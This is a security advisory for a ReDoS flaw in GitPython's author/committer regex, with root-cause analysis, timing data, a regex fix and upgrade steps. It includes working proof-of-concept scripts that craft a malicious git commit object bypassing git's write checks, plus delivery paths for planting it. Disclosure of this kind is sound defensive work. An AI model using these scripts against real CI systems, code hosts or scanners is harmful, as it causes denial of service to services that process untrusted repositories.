Skip to content

GHSA-g5vv-9gxw-82hx CVE-2026-87819 PYSEC-2026-3984

GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex — commit author/committer field parsing

High PyPI
Severity
8.7 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.52%
Chance of exploitation in the next 30 days. Higher than 44.26% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1333 Inefficient Regular Expression Complexity
CWE-400 Uncontrolled Resource Consumption
Fix
3.1.60
Upgrade gitpython to this version or later

Description

Summary

GitPython's Actor.name_email_regex regular expression (git/util.py, line 863) is vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of Service). When GitPython parses the author or committer header of a git commit object that contains a long string with an unterminated < (no matching >), the Python regex engine enters quadratic backtracking, causing complete single-threaded CPU exhaustion proportional to the square of the input length.

A single crafted commit object can block any GitPython API call that reads .author or .committer for over two minutes per invocation, enabling denial of service against CI runners, code-hosting backends, repository-scanning pipelines, or any service that processes commits from third-party or untrusted repositories.


Details

Vulnerable file and line:

git/util.py, line 863:

name_email_regex = re.compile(r"(.*) <(.*?)>")

This regex is evaluated inside Actor._from_string() (line 909) every time GitPython resolves a commit's .author or .committer property.

Full call chain — from public API to vulnerable sink:

commit.author # any ordinary GitPython API call └── git/objects/commit.py:917 Commit._deserialize() └── git/objects/util.py:341 parse_actor_and_date(author_line) └── git/util.py:909 Actor._from_string(string) └── Actor.name_email_regex.search(string) ← VULNERABLE

author_line is decoded directly from the raw bytes of the git commit object with no length limit, character restriction, or timeout applied at any point before reaching the regex engine. The same chain is triggered by:

  • commit.author
  • commit.committer
  • repo.iter_commits()
  • repo.blame()
  • Any web service / CI tool that displays or processes commit metadata

Why this pattern backtracks catastrophically:

The pattern (.*) <(.*?)> contains an unbounded greedy group (.*) followed by a literal space and <. When the input is a long string that contains < but no closing >, the regex engine must try every possible split position for the greedy group — O(n²) candidate positions for a string of length n — each of which then drives the inner lazy group into further sub-match attempts. This is the well-documented "catastrophic backtracking" failure mode for this family of patterns.

Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):

Author field length (bytes) Time to resolve .author
1,000 0.0035 s
5,000 0.084 s
10,000 0.341 s
20,000 1.525 s
40,000 5.963 s
60,000 13.360 s
80,000 23.871 s
200,000 150.488 s

Each doubling of input size roughly quadruples processing time (e.g. 40,000 → 80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself imposes no practical size limit on author name fields in the object format.

How the malicious object reaches a victim:

The PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git loose object written directly into .git/objects/. git cat-file -t <sha> confirms it is a valid commit type and git's own read-side tools display it without error. Only git's write-side tooling (git commit --author, git update-index, explicit git fsck) applies the sanity checks that would reject a malformed author line. Delivery paths that bypass those checks include:

  • A git server with receive.fsckObjects = false (common in self-hosted deployments)
  • A .git directory shipped as a tarball, backup, or zip archive
  • A git bundle file
  • Any automated mirror or import tool that operates at the object level

PoC

Environment used for testing:

  • GitPython 3.1.59, installed in editable mode from source (no code modifications)
  • Python 3.12.3, git 2.43.0, Ubuntu 24.04

Script 1 — craft the malicious repository (craft_malicious_repo.py):

#!/usr/bin/env python3
"""
Creates a git repository with one commit whose 'author' field is a large
string containing an unterminated '<'. Bypasses git's write-side sanity
checks by writing the raw object directly into .git/objects/.

Usage: python3 craft_malicious_repo.py <target_dir> <payload_size_bytes>
"""
import hashlib, os, subprocess, sys, zlib

def run(cmd, cwd):
    return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True)

def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <target_dir> <payload_size_bytes>")
        sys.exit(1)

    target_dir, payload_size = sys.argv[1], int(sys.argv[2])

    os.makedirs(target_dir, exist_ok=True)
    run(["git", "init", "--quiet"], cwd=target_dir)
    run(["git", "config", "user.email", "poc@example.com"], cwd=target_dir)
    run(["git", "config", "user.name", "PoC"], cwd=target_dir)

    with open(os.path.join(target_dir, "README.txt"), "w") as f:
        f.write("GitPython ReDoS PoC repository\n")
    run(["git", "add", "README.txt"], cwd=target_dir)
    tree_sha = run(["git", "write-tree"], cwd=target_dir).stdout.strip()

    malicious_name = "A" * payload_size
    # Key: author field contains a '<' with no closing '>'
    author_line    = f"author {malicious_name} <unterminated 1691999972 -0700"
    committer_line = "committer PoC <poc@example.com> 1691999972 -0700"
    message        = "ReDoS PoC commit"

    commit_content = (
        f"tree {tree_sha}\n{author_line}\n{committer_line}\n\n{message}\n"
    ).encode()

    header     = f"commit {len(commit_content)}\x00".encode()
    store      = header + commit_content
    sha        = hashlib.sha1(store).hexdigest()
    compressed = zlib.compress(store)

    objdir = os.path.join(target_dir, ".git", "objects", sha[:2])
    os.makedirs(objdir, exist_ok=True)
    with open(os.path.join(objdir, sha[2:]), "wb") as f:
        f.write(compressed)

    run(["git", "update-ref", "refs/heads/master", sha], cwd=target_dir)

    print(f"Malicious commit sha : {sha}")
    print(f"Payload size         : {payload_size} bytes")
    verify = subprocess.run(
        ["git", "cat-file", "-t", sha],
        cwd=target_dir, capture_output=True, text=True
    )
    print(f"git cat-file -t confirms: {verify.stdout.strip()}")

if __name__ == "__main__":
    main()

Script 2 — trigger the vulnerability (trigger_redos.py):

#!/usr/bin/env python3
"""
Opens the repository with GitPython and times commit.author access,
which triggers Actor._from_string() -> Actor.name_email_regex.search().

Usage: python3 trigger_redos.py <repo_dir> <commit_sha>
"""
import sys, time, git

def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <repo_dir> <commit_sha>")
        sys.exit(1)

    repo   = git.Repo(sys.argv[1])
    commit = repo.commit(sys.argv[2])

    print("Accessing commit.author — triggers Actor._from_string()...")
    t0     = time.time()
    author = commit.author          # ← this single line causes the hang
    elapsed = time.time() - t0

    print(f"Author name length : {len(author.name)} chars")
    print(f"Elapsed            : {elapsed:.3f} seconds")
    print("RESULT: VULNERABLE" if elapsed > 5 else "RESULT: not triggered")

if __name__ == "__main__":
    main()

Execution and observed output:

$ python3 craft_malicious_repo.py /tmp/victim-repo 200000 Malicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de Payload size : 200000 bytes git cat-file -t confirms: commit

$ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de Accessing commit.author — triggers Actor._from_string()... Author name length : 200014 chars Elapsed : 150.488 seconds RESULT: VULNERABLE

Docker reproduction (fully isolated environment):

docker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash

# Inside the container:
apt-get update && apt-get install -y git
git clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython
pip install -e /work/GitPython

python3 /work/poc/craft_malicious_repo.py /work/victim-repo 200000
# note the SHA printed, then:
python3 /work/poc/trigger_redos.py /work/victim-repo <SHA>

The python:3.8-bookworm base image matches the one used in GitPython's own fuzzing/local-dev-helpers/Dockerfile.


Impact

Who is affected:

Any application that uses GitPython to parse commits from a source it does not fully control. High-risk deployments include:

  • CI/CD systems (Jenkins, GitLab CI, GitHub Actions self-hosted runners, etc.) that clone and inspect third-party pull requests — one malicious commit in a PR can stall every worker that processes it.
  • Code-hosting or code-review web services that render commit author information — a single crafted push blocks every page render or API response that touches that commit's metadata.
  • Security or compliance scanners that walk repository history across many repositories — one crafted object in any repository exhausts a scanner worker.

Severity of impact:

A 200 KB author field blocks a process for ~150 seconds per single .author access. When iter_commits() or blame are used, every commit in a history traversal can be independently crafted, multiplying the total hang time by the number of commits processed. There is no confidentiality or integrity impact — this is a pure availability / resource-exhaustion vulnerability.


Suggested Fix

Replace the vulnerable pattern with one that cannot backtrack catastrophically. The minimal, behavior-preserving fix is to exclude < and > from the name group, removing the ambiguity that forces O(n²) backtracking:

# git/util.py, line 863
# Before (vulnerable):
name_email_regex = re.compile(r"(.*) <(.*?)>")

# After (fixed — identical output for all well-formed input):
name_email_regex = re.compile(r"([^<>]*) <([^<>]*)>")

Because the name group can no longer itself contain a < character, the engine has exactly one candidate position to try when a closing > is absent — and fails in O(n) time instead of O(n²). Legitimate actor strings (Name <email>) never contain < or > in either field, so this change produces identical results for all valid input.

As defense in depth, independently of the regex fix, bounding the maximum number of characters GitPython will attempt to parse in an author/committer line (e.g. rejecting strings longer than 4096 bytes before passing them to any regex) would further limit the blast radius of any future ReDoS class in this parser.

Affected versions

PyPI

PackageVulnerableFixed in
gitpython
< 3.1.60
3.1.60

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

gitpython PyPI → 3.1.60

pip
pip install --upgrade "gitpython>=3.1.60"
poetry
poetry add "gitpython>=3.1.60"
uv
uv add "gitpython>=3.1.60"

Severity breakdown

CVSS 4.0 8.7

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-1333: Inefficient Regular Expression Complexity

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

How to prevent it
  • Architecture and Design: Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
  • System Configuration: Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
  • Implementation: Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
  • Implementation: Limit the length of the input that the regular expression will process.

CWE-400: Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource.

How to prevent it
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Implementation: Ensure that all failures in resource allocation place the system into a safe posture.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-83vg-56qc-22m7
GitPython validates a submodule's ".git" path only after cloning into it (RCE)
High Also affects gitpython
GHSA-gq48-pqfc-9p58
GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree
Medium Also affects gitpython
GHSA-23mf-xhv8-69c2
GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)
High Also affects gitpython
GHSA-f9j4-qggq-h239
GitPython Remote.pull() refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution
Critical Also affects gitpython
GHSA-w8jc-g24h-crhw
GitPython command wrappers omit unsafe protocol and option checks
High Also affects gitpython
GHSA-m64x-33q8-m5h7
GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines
High Also affects gitpython
GHSA-fx3j-rwgx-fr94
GitPython: separate_git_dir leaks env vars via crafted .gitmodules submodule name
High Also affects gitpython
GHSA-59cr-6r3x-644w
GitPython submodule update path traversal can write outside the repository
Medium Also affects gitpython
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor